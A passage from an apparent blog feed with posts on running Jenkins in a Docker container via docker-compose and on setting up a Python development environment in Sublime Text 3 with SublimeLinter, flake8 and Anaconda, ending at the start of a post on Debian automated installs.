&lt;p&gt;Docker volume settings, specify container directory mapping between host and container &lt;a class="footnote-reference" href="#footnote-5" id="footnote-reference-5"&gt;[5]&lt;/a&gt;, allowing files generated  inside of the container to persist. The host system will store the data in &lt;strong&gt;/srv/dockercontainer/jenkins_home&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Following steps to set up docker volume and permission mapping on the host.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Create docker volume path on the host&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# mkdir /srv/dockercontainer/jenkins_home
&lt;/pre&gt;&lt;/div&gt;
&lt;ol class="arabic simple" start="2"&gt;
&lt;li&gt;Set up user/group mapping on the host.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# groupadd --gid 20000 jenkins
# useradd --home-dir /srv/dockercontainer/jenkins_home \
   --uid 20000 --gid 20000 -s /bin/false -M jenkins
# chown -R jenkins:jenkins /srv/dockercontainer/jenkins_home
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="docker-compose-file"&gt;
&lt;h2&gt;Docker compose file&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;docker-compose.yml&lt;/strong&gt; specifies startup settings for Jenkins container.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nt"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jenkins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;jenkins&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;20000:20000&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;5000:5000&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;8080:8080&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/srv/dockercontainer/jenkins_home:/var/jenkins_home&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;image&lt;/strong&gt; -- the directive specifies container to use, in this case it's Jenkins container &lt;a class="footnote-reference" href="#footnote-4" id="footnote-reference-6"&gt;[4]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;user&lt;/strong&gt; -- user/group mapping, 'uid:gid' from the container is mapped 'uid:gid' of the host.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ports&lt;/strong&gt; -- port mapping from the container to the host.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;volumes&lt;/strong&gt; -- directory (docker volume) mapping, between the host and the container.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="starting-up-the-container"&gt;
&lt;h2&gt;Starting up the container&lt;/h2&gt;
&lt;p&gt;Go to the directory containing &lt;strong&gt;docker-compose.yml&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The following command starts the container in foreground, the container needs to be run in the foreground, as during the setup, system activation code for Jenkins will be printed to the console.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# docker-compose up
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Open a browser and go to &lt;strong&gt;http://localhost:8080&lt;/strong&gt;. Once initial setup is completed, stop the container with &lt;em&gt;Ctrl+C&lt;/em&gt;, then start it as a daemon.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# docker-compose up -d
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To shut down the container running in daemon mode, execute the following.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# docker-compose stop
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="deleting-the-container"&gt;
&lt;h2&gt;Deleting the container&lt;/h2&gt;
&lt;p&gt;To remove container setup, run the following command from the directory where &lt;strong&gt;docker-compose.yml&lt;/strong&gt; is located.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# docker-compose rm jenkins
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The data generated by Jenkins in docker container is saved in &lt;strong&gt;/srv/dockercontainer/jenkins_home&lt;/strong&gt; with user 'jenkins' and group 'jenkins'.&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[1]&lt;/td&gt;&lt;td&gt;FSOSS 2016 -- &lt;a class="reference external" href="http://cdot.fsoss.ca/2016/"&gt;http://cdot.fsoss.ca/2016/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;Docker installation on Debian -- &lt;a class="reference external" href="https://docs.docker.com/engine/installation/linux/debian/"&gt;https://docs.docker.com/engine/installation/linux/debian/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;Install Compose -- &lt;a class="reference external" href="https://docs.docker.com/compose/install/"&gt;https://docs.docker.com/compose/install/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-4" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[4]&lt;/td&gt;&lt;td&gt;Official Jenkins Docker image -- &lt;a class="reference external" href="https://hub.docker.com/_/jenkins/"&gt;https://hub.docker.com/_/jenkins/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-5" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[5]&lt;/td&gt;&lt;td&gt;Manage data in containers -- &lt;a class="reference external" href="https://docs.docker.com/engine/tutorials/dockervolumes/"&gt;https://docs.docker.com/engine/tutorials/dockervolumes/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="linux"></category><category term="python"></category><category term="jenkins"></category><category term="docker"></category><category term="debian"></category></entry><entry><title>Setting up python dev environment in Sublime Text 3</title><link href="https://flamy.ca/blog/2016-10-23-setting-up-python-dev-environment-in-sublime-text-3.html" rel="alternate"></link><published>2016-10-23T22:18:00-04:00</published><updated>2016-10-23T22:18:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-10-23:/blog/2016-10-23-setting-up-python-dev-environment-in-sublime-text-3.html</id><summary type="html">&lt;p&gt;Recently I had to completely reset my Sublime Text 3 project settings and set everything up from scratch. I find the following two features the most important and need to be configured first:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;linting -- letting the computer keep track of consistent coding style&lt;/li&gt;
&lt;li&gt;definition lookup -- letting the computer to look …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;Recently I had to completely reset my Sublime Text 3 project settings and set everything up from scratch. I find the following two features the most important and need to be configured first:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;linting -- letting the computer keep track of consistent coding style&lt;/li&gt;
&lt;li&gt;definition lookup -- letting the computer to look up location of definitions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Linting is provided by SublimeLinter &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt; and function definition lookup by Anaconda Python IDE &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;. This article assumes Package Control &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt;  is already been installed.&lt;/p&gt;
&lt;div class="section" id="prerequisites"&gt;
&lt;h2&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Install flake8 code analyzer &lt;a class="footnote-reference" href="#footnote-4" id="footnote-reference-4"&gt;[4]&lt;/a&gt; on the system for both Python 2 and 3, it's required by SublimeLinter.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;apt-get install python-flake8 python3-flake8
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="sublime-package-installation"&gt;
&lt;h2&gt;Sublime Package Installation&lt;/h2&gt;
&lt;p&gt;Install the following Sublime packages: &lt;em&gt;SublimeLinter&lt;/em&gt;, &lt;em&gt;SublimeLinter-flake8&lt;/em&gt; and &lt;em&gt;Anaconda&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For each package repeat the following process -- Invoke package control by bringing command pallet with &lt;strong&gt;Ctrl+Shift+p&lt;/strong&gt; start typing &lt;em&gt;install&lt;/em&gt;, then select &lt;em&gt;Package Control: Install Package&lt;/em&gt; type package name and hit enter.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="project-preferences"&gt;
&lt;h2&gt;Project Preferences&lt;/h2&gt;
&lt;p&gt;These are per-project settings, go to &lt;em&gt;Project -&amp;gt; Edit Project&lt;/em&gt; and paste the following config. If &lt;em&gt;Edit Project&lt;/em&gt; item is unavailable, save the project with &lt;em&gt;Project -&amp;gt; Save Project As...&lt;/em&gt;&lt;/p&gt;
&lt;div class="section" id="top-level-settings-sections"&gt;
&lt;h3&gt;Top-level settings sections&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;SublimeLinter&lt;/strong&gt; -- all the settings related to SublimeLinter&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;build_systems&lt;/strong&gt; -- Default Anaconda build system, configuration parameters to run external program to process project files &lt;a class="footnote-reference" href="#footnote-5" id="footnote-reference-5"&gt;[5]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;folders&lt;/strong&gt; -- Sublime declaration on folders included in the project.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;settings&lt;/strong&gt; -- Anaconda interpreter / project settings&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="other-parameters"&gt;
&lt;h3&gt;Other parameters&lt;/h3&gt;
&lt;p&gt;The configuration parameter &lt;em&gt;&amp;#64;python&lt;/em&gt; specifies syntax version to lint, in this case Python 2.7.&lt;/p&gt;
&lt;p&gt;In all paths, replace {user} and {project} with actual user and project names. I follow a convention of using project name as the name of the virtual environment for that project.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;extra_paths&lt;/strong&gt; -- parameter specifies one or more path to a virtual environment in order to make declaration lookup work for third-party libraries. &lt;a class="footnote-reference" href="#footnote-6" id="footnote-reference-6"&gt;[6]&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;SublimeLinter&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;@python&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2.7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;linters&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;flake8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;max-line-length&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;build_systems&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;file_regex&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;^[ ]*File \&amp;quot;(...*?)\&amp;quot;, line ([0-9]*)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Anaconda Python Builder&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;selector&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;source.python&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;shell_cmd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\&amp;quot;/home/{user}/.virtualenvs/{project}/bin/python\&amp;quot; -u \&amp;quot;$file\&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;folders&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;path&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/{user}/repos/{project}&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;python_interpreter&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/{user}/.virtualenvs/{project}/bin/python&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;extra_paths&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/home/{user}/.virtualenvs/{project}/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="key-shortcut-for-anaconda-goto-definition-lookup"&gt;
&lt;h2&gt;Key Shortcut for Anaconda 'Goto definition..' lookup&lt;/h2&gt;
&lt;p&gt;Anaconda &lt;strong&gt;Goto definition..&lt;/strong&gt; action is different from from Sublime Text 3 Built-in &lt;strong&gt;Go To Definition..&lt;/strong&gt;, the latter works just fine for project source files, but it doesn't allow for settings in external paths.&lt;/p&gt;
&lt;p&gt;The former can be triggered either by right-clicking on a term, then selecting &lt;strong&gt;Anaconda -&amp;gt; Goto Definition&lt;/strong&gt;, or using default key binding &lt;strong&gt;Ctrl + Alt + g&lt;/strong&gt;; I find both of the shortcuts inconvenient to use.&lt;/p&gt;
&lt;p&gt;The configuration below assigns this action to &lt;strong&gt;F8&lt;/strong&gt; key (which doesn't seem to be used by anything).&lt;/p&gt;
&lt;p&gt;Paste the following code in &lt;strong&gt;Preferences -&amp;gt; Package Settings -&amp;gt; Anaconda -&amp;gt; Key Bindings - User&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;command&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;anaconda_goto&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;keys&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;f8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;context&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;selector&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;operator&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;equal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;operand&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;source.python&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now set cursor on a term with definition to lookup and press &lt;strong&gt;F8&lt;/strong&gt;.&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[1]&lt;/td&gt;&lt;td&gt;SublimeLinter 3 -- &lt;a class="reference external" href="http://www.sublimelinter.com/en/latest/"&gt;http://www.sublimelinter.com/en/latest/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;Anaconda Python IDE -- &lt;a class="reference external" href="http://damnwidget.github.io/anaconda/"&gt;http://damnwidget.github.io/anaconda/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;Package Control, the Sublime Text package manager -- &lt;a class="reference external" href="https://packagecontrol.io/"&gt;https://packagecontrol.io/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-4" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[4]&lt;/td&gt;&lt;td&gt;Flake 8 the modular source checker, pep8, pyflakes and co -- &lt;a class="reference external" href="https://pypi.python.org/pypi/flake8"&gt;https://pypi.python.org/pypi/flake8&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-5" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[5]&lt;/td&gt;&lt;td&gt;Sublime Text Unofficial Documentation / Build Systems (Batch Processing) -- &lt;a class="reference external" href="http://docs.sublimetext.info/en/latest/file_processing/build_systems.html"&gt;http://docs.sublimetext.info/en/latest/file_processing/build_systems.html&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-6" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[6]&lt;/td&gt;&lt;td&gt;Configure Anaconda the Right Way -- &lt;a class="reference external" href="http://damnwidget.github.io/anaconda/anaconda_settings/"&gt;http://damnwidget.github.io/anaconda/anaconda_settings/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="sublime"></category><category term="python"></category><category term="anaconda"></category><category term="programming"></category><category term="debian"></category></entry><entry><title>Debian Automated Install</title><link href="https://flamy.ca/blog/2016-10-17-debian-automated-install.html" rel="alternate"></link><published>2016-10-17T21:44:00-04:00</published><updated>2016-10-17T21:44:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2016-10-17:/blog/2016-10-17-debian-automated-install.html</id><summary type="html">&lt;p&gt;A few days ago in my part of the talk at GTALUG &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt;  I mentioned using Debian automated install &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt; to quickly bring up fully virtualized systems, as one of possible methods of system deployment or testing Ansible scripts.&lt;/p&gt;
